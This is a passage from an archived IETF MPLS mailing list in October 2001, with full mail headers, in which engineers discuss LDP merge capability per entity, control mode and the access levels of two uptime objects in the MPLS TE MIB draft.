FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; IPv4 address =
identifying the beginning point of detour.</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Any address =
on the branching node can be used.</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
Downstream Node ID</FONT>
</P>

<P><FONT SIZE=3D2 =
FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; IP address =
identifying the downstream node that source</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; is trying to =
avoid. Router ID of downstream node is preferred.</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">my question is how to use the detour =
object ?</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">to specify the detour's destination? =
or to indicate the avoid node?</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">I think it's no use to indicate the =
avoid node.</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Best Regards.</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">marshall</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C15A65.4308C710--


From owner-mpls@UU.NET  Mon Oct 22 01:24:39 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA24129
	for <mpls-archive@lists.ietf.org>; Mon, 22 Oct 2001 01:24:39 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlluj23530;
	Mon, 22 Oct 2001 05:23:37 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlluj25839
	for mpls-outgoing; Mon, 22 Oct 2001 05:22:57 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQlluj25824
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 22 Oct 2001 05:22:51 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlluj08420
	for <mpls@UU.NET>; Mon, 22 Oct 2001 05:22:11 GMT
Received: from ganesh.ctd.hctech.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [202.54.64.2])
	id QQlluj21389
	for <mpls@UU.NET>; Mon, 22 Oct 2001 05:22:28 GMT
Received: by GANESH with Internet Mail Service (5.5.2653.19)
	id <VGFCP3F6>; Mon, 22 Oct 2001 11:20:56 +0530
Message-ID: <D11B30C7348BD511A40700010283497B1EFC11@GAYATRI>
From: "Gopinath G - CTD, Chennai." <gopinathg@ctd.hcltech.com>
To: mpls@UU.NET
Subject: Merging and Non-merging
Date: Mon, 22 Oct 2001 10:50:08 +0530
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi

    I have a question regarding merging ...  

Meging and Nonmerging concept is for the LSR or it is applicable for each
entity ?

If it is applicable for the LSR , then which object in MIB specifies whether
the LSR 

is merge capable or not ?

Thanks In Advance
gopinathg


***********************************************************************
Disclaimer: 
This document is intended for transmission to the named recipient only.  If
you are not that person, you should note that legal rights reside in this
document and you are not authorized to access, read, disclose, copy, use or
otherwise deal with it and any such actions are prohibited and may be
unlawful. The views expressed in this document are not necessarily those of
HCL Technologies Ltd. Notice is hereby given that no representation,
contract or other binding obligation shall be created by this e-mail, which
must be interpreted accordingly. Any representations, contractual rights or
obligations shall be separately communicated in writing and signed in the
original by a duly authorized officer of the relevant company.
***********************************************************************




From owner-mpls@UU.NET  Mon Oct 22 01:28:44 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA24356
	for <mpls-archive@lists.ietf.org>; Mon, 22 Oct 2001 01:28:44 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlluj01693;
	Mon, 22 Oct 2001 05:27:23 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlluj26161
	for mpls-outgoing; Mon, 22 Oct 2001 05:26:41 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlluj26150
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 22 Oct 2001 05:26:36 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlluj11864
	for <mpls@UU.NET>; Mon, 22 Oct 2001 05:26:07 GMT
Received: from huaweimail.in.huawei.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [203.197.168.164])
	id QQlluj29479
	for <mpls@UU.NET>; Mon, 22 Oct 2001 05:26:23 GMT
Received: by HUAWEIMAIL with Internet Mail Service (5.5.2653.19)
	id <48ZLGKJZ>; Mon, 22 Oct 2001 10:44:16 +0530
Message-ID: <751B6DD7A243D511AB9F0002557C5687013D1D4A@HUAWEIMAIL>
From: "Ashwin C. Prabhu" <Ashwinp@in.huawei.com>
To: mpls@UU.NET, mpls-ops@mplsrc.com
Subject: Doubt in draft-ietf-mpls-te-mib-07.txt 
Date: Mon, 22 Oct 2001 10:44:16 +0530
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C15AB8.6526F9E0"
Sender: owner-mpls@UU.NET
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C15AB8.6526F9E0
Content-Type: text/plain;
	charset="iso-8859-1"



Hello All

   In  draft-ietf-mpls-te-mib-07.txt mplsTunnelTotalUpTime &
mplsTunnelInstanceUpTime are read-create ?
   shouldn't this be read-only ?

Ashwin

mplsTunnelTotalUpTime OBJECT-TYPE
   SYNTAX        TimeTicks
   MAX-ACCESS    read-create
   STATUS        current
   DESCRIPTION
        "This value represents the aggregate up time for all
          instances of this tunnel, if available. If this
          value is unavailable, it MUST return a value of 0."
      ::= { mplsTunnelEntry 32 }

mplsTunnelInstanceUpTime OBJECT-TYPE
   SYNTAX        TimeTicks
   MAX-ACCESS    read-create
   STATUS        current
   DESCRIPTION
        "This value identifies the total time that this
          tunnel instance's operStatus has been Up(1)."
      ::= { mplsTunnelEntry 33 }



------_=_NextPart_001_01C15AB8.6526F9E0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2653.12">
<TITLE>Doubt in draft-ietf-mpls-te-mib-07.txt </TITLE>
</HEAD>
<BODY>
<BR>
<BR>

<P><FONT SIZE=3D2 FACE=3D"Arial">Hello All</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp; In&nbsp; =
draft-ietf-mpls-te-mib-07.txt mplsTunnelTotalUpTime &amp; =
mplsTunnelInstanceUpTime are read-create ?</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp; shouldn't this be =
read-only ?</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Ashwin</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">mplsTunnelTotalUpTime =
OBJECT-TYPE</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp; =
SYNTAX&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; TimeTicks</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp; =
MAX-ACCESS&nbsp;&nbsp;&nbsp; read-create</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp; =
STATUS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; current</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp; DESCRIPTION</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;This =
value represents the aggregate up time for all</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
instances of this tunnel, if available. If this</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
value is unavailable, it MUST return a value of 0.&quot;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ::=3D =
{ mplsTunnelEntry 32 }</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">mplsTunnelInstanceUpTime =
OBJECT-TYPE</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp; =
SYNTAX&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; TimeTicks</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp; =
MAX-ACCESS&nbsp;&nbsp;&nbsp; read-create</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp; =
STATUS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; current</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp; DESCRIPTION</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;This =
value identifies the total time that this</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
tunnel instance's operStatus has been Up(1).&quot;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ::=3D =
{ mplsTunnelEntry 33 }</FONT>
</P>
<BR>

</BODY>
</HTML>
------_=_NextPart_001_01C15AB8.6526F9E0--


From owner-mpls@UU.NET  Mon Oct 22 01:39:02 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA24956
	for <mpls-archive@lists.ietf.org>; Mon, 22 Oct 2001 01:39:02 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlluk22545;
	Mon, 22 Oct 2001 05:37:52 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlluk26951
	for mpls-outgoing; Mon, 22 Oct 2001 05:37:21 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlluk26943
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 22 Oct 2001 05:37:15 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlluk28913
	for <mpls@UU.NET>; Mon, 22 Oct 2001 05:37:00 GMT
Received: from wiprom2mx1.wipro.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: wiprom2mx1.wipro.com [203.197.164.41])
	id QQlluk16468
	for <mpls@UU.NET>; Mon, 22 Oct 2001 05:37:16 GMT
Received: from m2vwall3.wipro.com (m2vwall3.wipro.com [164.164.29.237])
	by wiprom2mx1.wipro.com (8.11.3/8.11.3) with SMTP id f9M5axl15679
	for <mpls@UU.NET>; Mon, 22 Oct 2001 11:06:59 +0530 (IST)
Received: from 192.168.2.18 by m2vwall3.wipro.com (InterScan E-Mail VirusWall NT); Mon, 22 Oct 2001 11:06:47 +0530
Received: from alcatel-gw.wipinfo.soft.net ([192.168.220.200])
          by sarovar.mail.wipro.com (Netscape Messaging Server 4.15) with
          ESMTP id GLLE9B00.M5E; Mon, 22 Oct 2001 11:06:47 +0530 
Received: from boochi.alc.wipinfo.soft.net ([192.168.220.203]) by alcatel-gw.wipinfo.soft.net (8.7.5/8.9.3) with ESMTP id GAA07662; Mon, 22 Oct 2001 06:15:53 +0530
Date: Mon, 22 Oct 2001 11:10:30 +0400 (RET)
From: "Nagabhushana Ramaswamy Nadig" <nagabhushana.ramaswamy@wipro.com>
X-X-Sender: <bhushanr@boochi.alc.wipinfo.soft.net>
Reply-To: <nagabhushana.ramaswamy@wipro.com>
To: "Gopinath G - CTD Chennai." <gopinathg@ctd.hcltech.com>
cc: <mpls@UU.NET>
Subject: Re: Merging and Non-merging
In-Reply-To: <D11B30C7348BD511A40700010283497B1EFC11@GAYATRI>
Message-ID: <Pine.LNX.4.31.0110221100560.6955-100000@boochi.alc.wipinfo.soft.net>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-mpls@UU.NET
Precedence: bulk


Hi,
	I feel it should be the property of an Entity, like my upstream
path can fall into an ATM entity, which may be non-merge capable and my
downstream path may fall into a merge capable entity like generic(like
GigaBit ethernet). But these things are not found in any tables in the LDP
MIB.
	One more similar thing is the control mode of the control mode of
the entity. This also I feel should be the property of an entity, but not
seen in the mib.

	I think someone would have surely faced this problem earlier and
could throw some light on this........

regards
Bhushana..


> Hi >
>     I have a question regarding merging ...
>
> Meging and Nonmerging concept is for the LSR or it is applicable for each
> entity ?
>
> If it is applicable for the LSR , then which object in MIB specifies whether
> the LSR
>
> is merge capable or not ?
>
> Thanks In Advance
> gopinathg
>
>
>



From owner-mpls@UU.NET  Mon Oct 22 02:11:52 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA04925
	for <mpls-archive@lists.ietf.org>; Mon, 22 Oct 2001 02:11:52 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQllum12786;
	Mon, 22 Oct 2001 06:11:04 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQllum18287
	for mpls-outgoing; Mon, 22 Oct 2001 06:10:23 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQllum18267
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 22 Oct 2001 06:10:15 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQllum19459
	for <mpls@UU.NET>; Mon, 22 Oct 2001 06:09:07 GMT
Received: from ganesh.ctd.hctech.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [202.54.64.2])
	id QQllum20962
	for <mpls@UU.NET>; Mon, 22 Oct 2001 06:09:24 GMT
Received: by GANESH with Internet Mail Service (5.5.2653.19)
	id <VGFCPPAH>; Mon, 22 Oct 2001 12:07:54 +0530
Message-ID: <D11B30C7348BD511A40700010283497B1EFC77@GAYATRI>
From: "Gopinath G - CTD, Chennai." <gopinathg@ctd.hcltech.com>
To: nagabhushana.ramaswamy@wipro.com, mpls@UU.NET
Subject: RE: Merging and Non-merging
Date: Mon, 22 Oct 2001 11:37:05 +0530
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi

   If it is the case ...then  according to this concept In an ATM-LSR 
each LC-ATM inteface may have different merg capabilites ie..
 LC-ATM1 - non-merg
 LC-ATM2 - VC-merg
 LC-ATM3 - non-merg............ etc
Is my assumption correct ?


Thanks In Advance
gopinathg


-----Original Message-----
From: Nagabhushana Ramaswamy Nadig
[mailto:nagabhushana.ramaswamy@wipro.com]
Sent: Monday, October 22, 2001 12:41 PM
To: Gopinath G - CTD Chennai.
Cc: mpls@UU.NET
Subject: Re: Merging and Non-merging



Hi,
	I feel it should be the property of an Entity, like my upstream
path can fall into an ATM entity, which may be non-merge capable and my
downstream path may fall into a merge capable entity like generic(like
GigaBit ethernet). But these things are not found in any tables in the LDP
MIB.
	One more similar thing is the control mode of the control mode of
the entity. This also I feel should be the property of an entity, but not
seen in the mib.

	I think someone would have surely faced this problem earlier and
could throw some light on this........

regards
Bhushana..


> Hi >
>     I have a question regarding merging ...
>
> Meging and Nonmerging concept is for the LSR or it is applicable for each
> entity ?
>
> If it is applicable for the LSR , then which object in MIB specifies
whether
> the LSR
>
> is merge capable or not ?
>
> Thanks In Advance
> gopinathg
>
>
>


***********************************************************************
Disclaimer: 
This document is intended for transmission to the named recipient only.  If
you are not that person, you should note that legal rights reside in this
document and you are not authorized to access, read, disclose, copy, use or
otherwise deal with it and any such actions are prohibited and may be
unlawful. The views expressed in this document are not necessarily those of
HCL Technologies Ltd. Notice is hereby given that no representation,
contract or other binding obligation shall be created by this e-mail, which
must be interpreted accordingly. Any representations, contractual rights or
obligations shall be separately communicated in writing and signed in the
original by a duly authorized officer of the relevant company.
***********************************************************************




From owner-mpls@UU.NET  Mon Oct 22 02:14:49 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA05100
	for <mpls-archive@lists.ietf.org>; Mon, 22 Oct 2001 02:14:49 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQllum17819;
	Mon, 22 Oct 2001 06:13:48 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQllum18630
	for mpls-outgoing; Mon, 22 Oct 2001 06:13:01 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQllum18608
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 22 Oct 2001 06:12:48 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQllum09690
	for <mpls@UU.NET>; Mon, 22 Oct 2001 06:12:43 GMT
Received: from india.mercurykr.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [165.133.13.60])
	id QQllum15982
	for <mpls@UU.NET>; Mon, 22 Oct 2001 06:12:50 GMT
Received: from neelesh ([165.133.13.22])
	by india.mercurykr.com (8.8.8+Sun/8.8.8) with SMTP id LAA10107;
	Mon, 22 Oct 2001 11:32:41 -0600 (GMT)
Message-ID: <000f01c15ac0$5f3ae340$160d85a5@mercurykr.com>
Reply-To: "Neelesh Dwivedi" <neelesh@mercurykr.com>
From: "Neelesh Dwivedi" <neelesh@mercurykr.com>
To: <nagabhushana.ramaswamy@wipro.com>,
        "Gopinath G - CTD Chennai." <gopinathg@ctd.hcltech.com>
Cc: <mpls@UU.NET>
References: <Pine.LNX.4.31.0110221100560.6955-100000@boochi.alc.wipinfo.soft.net>
Subject: Re: Merging and Non-merging
Date: Mon, 22 Oct 2001 11:41:10 +0530
Organization: Mercury Corporation
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2314.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Hi!

Please see Inline Comments.

Regards,
Neelesh.
Mercury Corporation
New Delhi R&D Centre,
Gurgaon, India.

----- Original Message -----
From: Nagabhushana Ramaswamy Nadig <nagabhushana.ramaswamy@wipro.com>
To: Gopinath G - CTD Chennai. <gopinathg@ctd.hcltech.com>
Cc: <mpls@UU.NET>
Sent: Monday, October 22, 2001 12:40 PM
Subject: Re: Merging and Non-merging


>
> Hi,
> I feel it should be the property of an Entity, like my upstream
> path can fall into an ATM entity, which may be non-merge capable and my
> downstream path may fall into a merge capable entity like generic(like
> GigaBit ethernet). But these things are not found in any tables in the LDP
> MIB.


The Merge Capability Information related to a particular LDP Entity is
already defined in the LDP MIB <draft-ietf-mpls-ldp-mib-08.txt>.
The objects : mplsLdpEntityAtmParmsEntry  & mplsLdpEntityFrParmsEntry
include ATM / FR Merge Capability for each Entity as one of the configurable
objects.


> One more similar thing is the control mode of the control mode of
> the entity. This also I feel should be the property of an entity, but not
> seen in the mib.
>
> I think someone would have surely faced this problem earlier and
> could throw some light on this........
>
> regards
> Bhushana..
>
>
> > Hi >
> >     I have a question regarding merging ...
> >
> > Meging and Nonmerging concept is for the LSR or it is applicable for
each
> > entity ?
> >
> > If it is applicable for the LSR , then which object in MIB specifies
whether
> > the LSR
> >
> > is merge capable or not ?
> >
> > Thanks In Advance
> > gopinathg
> >
> >
> >
>
>



From owner-mpls@UU.NET  Mon Oct 22 03:26:08 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA08426
	for <mpls-archive@lists.ietf.org>; Mon, 22 Oct 2001 03:26:07 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQllur25781;
	Mon, 22 Oct 2001 07:25:08 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQllur13495
	for mpls-outgoing; Mon, 22 Oct 2001 07:24:22 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQllur13490
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 22 Oct 2001 07:24:20 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQllur20391
	for <mpls@uu.net>; Mon, 22 Oct 2001 07:24:06 GMT
Received: from wiprom2mx1.wipro.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: wiprom2mx1.wipro.com [203.197.164.41])
	id QQllur16422
	for <mpls@uu.net>; Mon, 22 Oct 2001 07:24:23 GMT
Received: from m2vwall3.wipro.com (m2vwall3.wipro.com [164.164.29.237])
	by wiprom2mx1.wipro.com (8.11.3/8.11.3) with SMTP id f9M7O9l07700
	for <mpls@uu.net>; Mon, 22 Oct 2001 12:54:09 +0530 (IST)
Received: from 192.168.2.18 by m2vwall3.wipro.com (InterScan E-Mail VirusWall NT); Mon, 22 Oct 2001 12:53:58 +0530
Received: from alcatel-gw.wipinfo.soft.net ([192.168.220.200])
          by sarovar.mail.wipro.com (Netscape Messaging Server 4.15) with
          ESMTP id GLLJ8000.SCJ for <mpls@uu.net>; Mon, 22 Oct 2001 12:54:00 +0530 
Received: from boochi.alc.wipinfo.soft.net ([192.168.220.203]) by alcatel-gw.wipinfo.soft.net (8.7.5/8.9.3) with ESMTP id IAA29272 for <mpls@uu.net>; Mon, 22 Oct 2001 08:03:04 +0530
Date: Mon, 22 Oct 2001 12:57:41 +0400 (RET)
From: "Nagabhushana Ramaswamy Nadig" <nagabhushana.ramaswamy@wipro.com>
X-X-Sender: <bhushanr@boochi.alc.wipinfo.soft.net>
Reply-To: <nagabhushana.ramaswamy@wipro.com>
To: <mpls@UU.NET>
Subject: Re: Control mode in LDP mib
In-Reply-To: <Pine.LNX.4.31.0110181133120.6955-100000@boochi.alc.wipinfo.soft.net>
Message-ID: <Pine.LNX.4.31.0110221256370.6955-100000@boochi.alc.wipinfo.soft.net>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-mpls@UU.NET
Precedence: bulk


I found some details over the mailing list...

thanks
Bhushana


On Thu, 18 Oct 2001 nagabhushana.ramaswamy@wipro.com wrote:

> Hi,
> 	I have a doubt regarding the control mode information. I don't see
> this information being maintained in any of the tables in the LDP
> mib(entity table or as a global scalar).
> However this is one of the configured parameters for a LDP stack. So how
> do we go about? if I want to configure my whole stack throgh a subagent?
>
> thanks in advance
> Bhushana
>
>
>



From owner-mpls@UU.NET  Mon Oct 22 09:37:35 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA16523
	for <mpls-archive@lists.ietf.org>; Mon, 22 Oct 2001 09:37:35 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQllvq16844;
	Mon, 22 Oct 2001 13:30:58 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQllvq07219
	for mpls-outgoing; Mon, 22 Oct 2001 13:30:40 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQllvq07211
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 22 Oct 2001 13:30:28 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQllvp21312
	for <mpls@uu.net>; Mon, 22 Oct 2001 13:28:03 GMT
Received: from funnel.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQllvp11575
	for <mpls@uu.net>; Mon, 22 Oct 2001 13:27:53 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id JAA04137 for <mpls@uu.net>; Mon, 22 Oct 2001 09:28:02 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id JAA03783 for mpls@uu.net; Mon, 22 Oct 2001 09:28:02 -0400 (EDT)
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQllvp07020
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 22 Oct 2001 13:27:18 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQllvp16660
	for <mpls@UU.NET>; Mon, 22 Oct 2001 13:26:02 GMT
Received: from funnel.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQllvp08228
	for <mpls@UU.NET>; Mon, 22 Oct 2001 13:25:52 GMT
Received: from bucket.cisco.com (mirapoint@bucket.cisco.com [161.44.167.72]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id JAA03935; Mon, 22 Oct 2001 09:26:01 -0400 (EDT)
Received: from tnadeau-w2k.cisco.com (tnadeau-frame5.cisco.com [10.83.99.126])
	by bucket.cisco.com (Mirapoint)
	with ESMTP id ABA32899;
	Mon, 22 Oct 2001 09:26:00 -0400 (EDT)
Message-Id: <4.3.2.7.2.20011022092626.01a40160@bucket.cisco.com>
X-Sender: tnadeau@bucket.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Mon, 22 Oct 2001 09:27:02 -0400
To: "Gopinath G - CTD, Chennai." <gopinathg@ctd.hcltech.com>
From: Thomas Nadeau <tnadeau@cisco.com>
Subject: Re: Merging and Non-merging
Cc: mpls@UU.NET
In-Reply-To: <D11B30C7348BD511A40700010283497B1EFC11@GAYATRI>
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="=====================_1118207==_.ALT"
Sender: owner-mpls@UU.NET
Precedence: bulk

--=====================_1118207==_.ALT
